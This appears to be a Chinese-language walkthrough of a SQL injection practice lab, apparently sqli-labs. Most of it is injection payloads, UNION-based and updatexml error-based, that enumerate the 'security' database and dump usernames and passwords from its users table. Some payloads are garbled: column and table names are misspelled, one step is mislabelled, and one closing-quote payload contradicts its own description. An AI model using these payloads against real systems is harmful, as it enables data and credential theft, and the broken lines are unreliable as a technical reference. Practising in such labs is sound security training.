发现是有回显的,且传入的参数是通过'1'包裹的,所以我们的payload,如下
测试列数
?id=1' order by 3 --+ //超过第一条语句的查询列数会报错,小于或等于不会报错
测试回显点
?id=-1' union select 1,2,3 --+ //union 联合查询一般来说只会回显第一条语句的结果,所以我们要让第一条语句查不到值,我们这里是用的-1确保联合查询的语句有效
爆库
?id=-1' union select 1,database(),3 --+
爆表
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
表列
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where%20 table_schema='security' and table_name='users' --+
爆数据
?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
与第一关的区别在于id参数是数字型,没有任何闭合用?id=1 (sql语句) --+可通关
与第一关的区别在于id参数是用('')闭合的,用?id=1‘) (sql语句) --+可通关
与第一关的区别在于id参数是用(" ")闭合的,用?id=1‘) (sql语句) --+可通关
发现查询结果是没有反馈的,我们可以用报错查询我们这里使用的是updatexml(可以爆出的字节数有限)
爆库
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
爆表
?id=1' and updatexml(1,concat(0x7e,(select distinct group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+
爆库
?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e,group_concat(columns_name),0x7e) from information_schema.conlumns where table_schema= 'security' and table_name='users'),0x7e),1)--+
手机扫一扫
移动阅读更方便
你可能感兴趣的文章